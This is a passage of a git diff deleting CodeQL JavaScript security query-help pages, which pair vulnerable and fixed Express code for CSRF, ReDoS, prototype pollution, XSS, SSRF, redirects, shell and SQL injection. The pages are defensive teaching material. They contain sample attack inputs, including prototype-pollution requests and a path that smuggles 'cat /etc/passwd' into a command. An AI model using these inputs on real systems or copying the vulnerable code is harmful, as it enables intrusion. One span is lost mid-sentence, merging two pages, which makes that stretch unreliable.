high -Tags: security external/cwe/cwe-352 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-352/MissingCsrfMiddleware.ql) - -Websites that rely on cookie-based authentication may be vulnerable to cross-site request forgery (CSRF). Specifically, a state-changing request should include a secret token so the request can't be forged by an attacker. Otherwise, unwanted requests can be submitted on behalf of a user who visits a malicious website. - -This is typically mitigated by embedding a session-specific secret token in each request. This token is then checked as an additional authentication measure. A malicious website should have no way of guessing the correct token to embed in the request. - - -## Recommendation -Use a middleware package such as `csurf` to protect against CSRF attacks. - - -## Example -In the example below, the server authenticates users before performing the `changeEmail` POST action: - - -```javascript -var app = require("express")(), - cookieParser = require("cookie-parser"), - passport = require("passport"); - -app.use(cookieParser()); -app.use(passport.authorize({ session: true })); - -app.post("/changeEmail", function(req, res) { - let newEmail = req.cookies["newEmail"]; - // ... -}); - -``` -This is not secure. An attacker can submit a POST `changeEmail` request on behalf of a user who visited a malicious website. Since authentication happens without any action from the user, the `changeEmail` action would be executed, despite not being initiated by the user. - -This vulnerability can be mitigated by installing a CSRF protecting middleware handler: - - -```javascript -var app = require("express")(), - cookieParser = require("cookie-parser"), - passport = require("passport"), - csrf = require("csurf"); - -app.use(cookieParser()); -app.use(passport.authorize({ session: true })); -app.use(csrf({ cookie: true })); -app.post("/changeEmail", function(req, res) { - let newEmail = req.cookies["newEmail"]; - // ... -}); - -``` - -## References -* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) -* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingRateLimiting.md b/docs/language/query-help/javascript/MissingRateLimiting.md deleted file mode 100644 index 437d56e8abb..00000000000 --- a/docs/language/query-help/javascript/MissingRateLimiting.md +++ /dev/null @@ -1,66 +0,0 @@ -# Missing rate limiting - -``` -ID: js/missing-rate-limiting -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-770 external/cwe/cwe-307 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-770/MissingRateLimiting.ql) - -HTTP request handlers should not perform expensive operations such as accessing the file system, executing an operating system command or interacting with a database without limiting the rate at which requests are accepted. Otherwise, the application becomes vulnerable to denial-of-service attacks where an attacker can cause the application to crash or become unresponsive by issuing a large number of requests at the same time. - - -## Recommendation -A rate-limiting middleware should be used to prevent such attacks. - - -## Example -The following example shows an Express application that serves static files without rate limiting: - - -```javascript -var express = require('express'); -var app = express(); - -app.get('/:path', function(req, res) { - let path = req.params.path; - if (isValidPath(path)) - res.sendFile(path); -}); - -``` -To prevent denial-of-service attacks, the `express-rate-limit` package can be used: - - -```javascript -var express = require('express'); -var app = express(); - -// set up rate limiter: maximum of five requests per minute -var RateLimit = require('express-rate-limit'); -var limiter = new RateLimit({ - windowMs: 1*60*1000, // 1 minute - max: 5 -}); - -// apply rate limiter to all requests -app.use(limiter); - -app.get('/:path', function(req, res) { - let path = req.params.path; - if (isValidPath(path)) - res.sendFile(path); -}); - -``` - -## References -* OWASP: [Denial of Service Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html). -* Wikipedia: [Denial-of-service attack](https://en.wikipedia.org/wiki/Denial-of-service_attack). -* NPM: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit). -* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html). -* Common Weakness Enumeration: [CWE-307](https://cwe.mitre.org/data/definitions/307.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/MissingRegExpAnchor.md b/docs/language/query-help/javascript/MissingRegExpAnchor.md deleted file mode 100644 index a5db5c4a2d8..00000000000 --- a/docs/language/query-help/javascript/MissingRegExpAnchor.md +++ /dev/null @@ -1,56 +0,0 @@ -# Missing regular expression anchor - -``` -ID: js/regex/missing-regexp-anchor -Kind: problem -Severity: warning -Precision: medium -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/MissingRegExpAnchor.ql) - -Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location. - -Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches. - - -## Recommendation -Use anchors to ensure that regular expressions match at the expected locations. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. - - -```javascript -app.get("/some/path", function(req, res) { - let url = req.param("url"); - // BAD: the host of `url` may be controlled by an attacker - if (url.match(/https?:\/\/www\.example\.com\//)) { - res.redirect(url); - } -}); - -``` -The check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead: - - -```javascript -app.get("/some/path", function(req, res) { - let url = req.param("url"); - // GOOD: the host of `url` can not be controlled by an attacker - if (url.match(/^https?:\/\/www\.example\.com\//)) { - res.redirect(url); - } -}); - -``` -A related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\.example\.com|beta\.example\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\.example\.com)|(beta\.example\.com)/` - - -## References -* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions) -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PasswordInConfigurationFile.md b/docs/language/query-help/javascript/PasswordInConfigurationFile.md deleted file mode 100644 index 24084ee2dac..00000000000 --- a/docs/language/query-help/javascript/PasswordInConfigurationFile.md +++ /dev/null @@ -1,23 +0,0 @@ -# Password in configuration file - -``` -ID: js/password-in-configuration-file -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-256 external/cwe/cwe-260 external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-313/PasswordInConfigurationFile.ql) - -Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. - - -## Recommendation -Passwords stored in configuration files should always be encrypted. - - -## References -* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html). -* Common Weakness Enumeration: [CWE-260](https://cwe.mitre.org/data/definitions/260.html). -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PolynomialReDoS.md b/docs/language/query-help/javascript/PolynomialReDoS.md deleted file mode 100644 index 3f271fb736f..00000000000 --- a/docs/language/query-help/javascript/PolynomialReDoS.md +++ /dev/null @@ -1,62 +0,0 @@ -# Polynomial regular expression used on uncontrolled data - -``` -ID: js/polynomial-redos -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Performance/PolynomialReDoS.ql) - -Some regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service ("DoS") attack by crafting an expensive input string for the regular expression to match. - -The regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower. - -Typically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references. - - -## Recommendation -Modify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter. - - -## Example -Consider this use of a regular expression, which removes all leading and trailing whitespace in a string: - -```javascript - - text.replace(/^\s+|\s+$/g, ''); // BAD - -``` -The sub-expression `"\s+$"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence. - -This ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `"a b"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes. - -Avoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\s+|(? { - let prefs = lodash.merge({}, JSON.parse(req.query.prefs)); -}) - -``` -Prior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request: - -``` -GET /news?prefs={"constructor":{"prototype":{"xxx":true}}} -``` -This causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version: - - -```json -{ - "dependencies": { - "lodash": "^4.17.12" - } -} - -``` -Note that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution: - - -```javascript -app.get('/news', (req, res) => { - let config = lodash.merge({}, { - prefs: req.query.prefs - }); -}) - -``` -In the above example, an attacker can cause prototype pollution by sending the following GET request: - -``` -GET /news?prefs[constructor][prototype][xxx]=true -``` - -## References -* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194). -* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded) -* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/PrototypePollutionUtility.md b/docs/language/query-help/javascript/PrototypePollutionUtility.md deleted file mode 100644 index 853e7f8b85e..00000000000 --- a/docs/language/query-help/javascript/PrototypePollutionUtility.md +++ /dev/null @@ -1,80 +0,0 @@ -# Prototype pollution in utility function - -``` -ID: js/prototype-pollution-utility -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-400 external/cwe/cwe-471 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.ql) - -Most JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting. - -One way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. - - -## Recommendation -The most effective place to guard against this is in the function that performs the recursive copy or deep assignment. - -Only merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, blacklist the property names `__proto__` and `constructor` from being merged or assigned to. - - -## Example -This function recursively copies properties from `src` to `dst`: - - -```javascript -function merge(dst, src) { - for (let key in src) { - if (!src.hasOwnProperty(key)) continue; - if (isObject(dst[key])) { - merge(dst[key], src[key]); - } else { - dst[key] = src[key]; - } - } -} - -``` -However, if `src` is the object `{"__proto__": {"isAdmin": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`. - -The issue can be fixed by ensuring that only own properties of the destination object are merged recursively: - - -```javascript -function merge(dst, src) { - for (let key in src) { - if (!src.hasOwnProperty(key)) continue; - if (dst.hasOwnProperty(key) && isObject(dst[key])) { - merge(dst[key], src[key]); - } else { - dst[key] = src[key]; - } - } -} - -``` -Alternatively, blacklist the `__proto__` and `constructor` properties: - - -```javascript -function merge(dst, src) { - for (let key in src) { - if (!src.hasOwnProperty(key)) continue; - if (key === "__proto__" || key === "constructor") continue; - if (isObject(dst[key])) { - merge(dst[key], src[key]); - } else { - dst[key] = src[key]; - } - } -} - -``` - -## References -* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). -* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ReDoS.md b/docs/language/query-help/javascript/ReDoS.md deleted file mode 100644 index f06a604165f..00000000000 --- a/docs/language/query-help/javascript/ReDoS.md +++ /dev/null @@ -1,48 +0,0 @@ -# Inefficient regular expression - -``` -ID: js/redos -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Performance/ReDoS.ql) - -Some regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service ("DoS") attack by crafting an expensive input string for the regular expression to match. - -The regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower. - -Typically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references. - - -## Recommendation -Modify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter. - - -## Example -Consider this regular expression: - -```javascript - - /^_(__|.)+_$/ - -``` -Its sub-expression `"(__|.)+?"` can match the string `"__"` either by the first alternative `"__"` to the left of the `"|"` operator, or by two repetitions of the second alternative `"."` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input. - -This problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition: - -```javascript - - /^_(__|[^_])+_$/ - -``` - -## References -* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). -* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). -* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity). -* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](http://www.cs.bham.ac.uk/~hxt/research/reg-exp-sec.pdf). -* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ReflectedXss.md b/docs/language/query-help/javascript/ReflectedXss.md deleted file mode 100644 index 4f725c53aad..00000000000 --- a/docs/language/query-help/javascript/ReflectedXss.md +++ /dev/null @@ -1,63 +0,0 @@ -# Reflected cross-site scripting - -``` -ID: js/reflected-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/ReflectedXss.ql) - -Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - -This kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references. - - -## Example -The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting. - - -```javascript -var app = require('express')(); - -app.get('/user/:id', function(req, res) { - if (!isValidUserId(req.params.id)) - // BAD: a request parameter is incorporated without validation into the response - res.send("Unknown user: " + req.params.id); - else - // TODO: do something exciting - ; -}); - -``` -Sanitizing the user-controlled data prevents the vulnerability: - - -```javascript -var escape = require('escape-html'); - -var app = require('express')(); - -app.get('/user/:id', function(req, res) { - if (!isValidUserId(req.params.id)) - // GOOD: request parameter is sanitized before incorporating it into the response - res.send("Unknown user: " + escape(req.params.id)); - else - // TODO: do something exciting - ; -}); - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RegExpInjection.md b/docs/language/query-help/javascript/RegExpInjection.md deleted file mode 100644 index 6502cd2257f..00000000000 --- a/docs/language/query-help/javascript/RegExpInjection.md +++ /dev/null @@ -1,59 +0,0 @@ -# Regular expression injection - -``` -ID: js/regex-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-730/RegExpInjection.ql) - -Constructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack. - - -## Recommendation -Before embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning. - - -## Example -The following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first: - - -```javascript -var express = require('express'); -var app = express(); - -app.get('/findKey', function(req, res) { - var key = req.param("key"), input = req.param("input"); - - // BAD: Unsanitized user input is used to construct a regular expression - var re = new RegExp("\\b" + key + "=(.*)\n"); -}); - -``` -Instead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions. - - -```javascript -var express = require('express'); -var _ = require('lodash'); -var app = express(); - -app.get('/findKey', function(req, res) { - var key = req.param("key"), input = req.param("input"); - - // GOOD: User input is sanitized before constructing the regex - var safeKey = _.escapeRegExp(key); - var re = new RegExp("\\b" + safeKey + "=(.*)\n"); -}); - -``` - -## References -* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). -* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). -* npm: [lodash](https://www.npmjs.com/package/lodash). -* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RemotePropertyInjection.md b/docs/language/query-help/javascript/RemotePropertyInjection.md deleted file mode 100644 index b5d9250263c..00000000000 --- a/docs/language/query-help/javascript/RemotePropertyInjection.md +++ /dev/null @@ -1,61 +0,0 @@ -# Remote property injection - -``` -ID: js/remote-property-injection -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-250 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-400/RemotePropertyInjection.ql) - -Dynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised. - -Moreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`. - - -## Recommendation -The most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character. - -When using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`. - - -## Example -In the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value. - - -```javascript -var express = require('express'); - -var app = express(); -var myObj = {} - -app.get('/user/:id', function(req, res) { - var prop = req.query.userControlled; // BAD - myObj[prop] = function() {}; - console.log("Request object " + myObj); -}); -``` -This is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as "Function.prototype.toString is not generic". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten. - - -```javascript -var express = require('express'); - -var app = express(); -var myObj = {} - -app.get('/user/:id', function(req, res) { - var prop = "$" + req.query.userControlled; // GOOD - myObj[prop] = function() {}; - console.log("Request object " + myObj); -}); -``` - -## References -* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://nodesecurity.io/advisories/566). -* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67) -* npm blog post: [ dangers of square bracket notation](https://blog.liftsecurity.io/2015/01/14/the-dangers-of-square-bracket-notation#lift-security) -* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/RequestForgery.md b/docs/language/query-help/javascript/RequestForgery.md deleted file mode 100644 index 55aea9a91fc..00000000000 --- a/docs/language/query-help/javascript/RequestForgery.md +++ /dev/null @@ -1,69 +0,0 @@ -# Uncontrolled data used in network request - -``` -ID: js/request-forgery -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-918 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-918/RequestForgery.ql) - -Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack. - - -## Recommendation -To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request `http.get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `"internal.example.com/#"` as the target, causing the URL used in the request to be `"https://internal.example.com/#.example.com/data"`. - -A request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine. - - -```javascript -import http from 'http'; -import url from 'url'; - -var server = http.createServer(function(req, res) { - var target = url.parse(req.url, true).query.target; - - // BAD: `target` is controlled by the attacker - http.get('https://' + target + ".example.com/data/", res => { - // process request response ... - }); - -}); - -``` -One way to remedy the problem is to use the user input to select a known fixed string before performing the request: - - -```javascript -import http from 'http'; -import url from 'url'; - -var server = http.createServer(function(req, res) { - var target = url.parse(req.url, true).query.target; - - var subdomain; - if (target === 'EU') { - subdomain = "europe" - } else { - subdomain = "world" - } - - // GOOD: `subdomain` is controlled by the server - http.get('https://' + subdomain + ".example.com/data/", res => { - // process request response ... - }); - -}); - -``` - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ServerSideUrlRedirect.md b/docs/language/query-help/javascript/ServerSideUrlRedirect.md deleted file mode 100644 index 7721c71c069..00000000000 --- a/docs/language/query-help/javascript/ServerSideUrlRedirect.md +++ /dev/null @@ -1,52 +0,0 @@ -# Server-side URL redirect - -``` -ID: js/server-side-unvalidated-url-redirection -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-601/ServerSideUrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: - - -```javascript -const app = require("express")(); - -app.get('/some/path', function(req, res) { - // BAD: a request parameter is incorporated without validation into a URL redirect - res.redirect(req.param("target")); -}); - -``` -One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: - - -```javascript -const app = require("express")(); - -const VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; - -app.get('/some/path', function(req, res) { - // GOOD: the request parameter is validated against a known fixed string - let target = req.param("target"); - if (VALID_REDIRECT === target) - res.redirect(target); -}); - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md b/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md deleted file mode 100644 index 6dc8108c32f..00000000000 --- a/docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md +++ /dev/null @@ -1,58 +0,0 @@ -# Shell command built from environment values - -``` -ID: js/shell-command-injection-from-environment -Kind: path-problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/ShellCommandInjectionFromEnvironment.ql) - -Dynamically constructing a shell command with values from the local environment, such as file paths, may inadvertently change the meaning of the shell command. Such changes can occur when an environment value contains characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system. - - -## Recommendation -If possible, use hard-coded string literals to specify the shell command to run, and provide the dynamic arguments to the shell command separately to avoid interpretation by the shell. - -Alternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters in environment values do not alter the shell command unexpectedly. - - -## Example -The following example shows a dynamically constructed shell command that recursively removes a temporary directory that is located next to the currently executing JavaScript file. Such utilities are often found in custom build scripts. - - -```javascript -var cp = require("child_process"), - path = require("path"); -function cleanupTemp() { - let cmd = "rm -rf " + path.join(__dirname, "temp"); - cp.execSync(cmd); // BAD -} - -``` -The shell command will, however, fail to work as intended if the absolute path of the script's directory contains spaces. In that case, the shell command will interpret the absolute path as multiple paths, instead of a single path. - -For instance, if the absolute path of the temporary directory is `/home/username/important project/temp`, then the shell command will recursively delete `/home/username/important` and `project/temp`, where the latter path gets resolved relative to the working directory of the JavaScript process. - -Even worse, although less likely, a malicious user could provide the path `/home/username/; cat /etc/passwd #/important project/temp` in order to execute the command `cat /etc/passwd`. - -To avoid such potentially catastrophic behaviors, provide the directory as an argument that does not get interpreted by a shell: - - -```javascript -var cp = require("child_process"), - path = require("path"); -function cleanupTemp() { - let cmd = "rm", - args = ["-rf", path.join(__dirname, "temp")]; - cp.execFileSync(cmd, args); // GOOD -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/SqlInjection.md b/docs/language/query-help/javascript/SqlInjection.md deleted file mode 100644 index b67f59b1667..00000000000 --- a/docs/language/query-help/javascript/SqlInjection.md +++ /dev/null @@ -1,57 +0,0 @@ -# Database query built from user-controlled sources - -``` -ID: js/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-089/SqlInjection.ql) - -If a database query (such as a SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run malicious database queries. - - -## Recommendation -Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. - - -## Example -In the 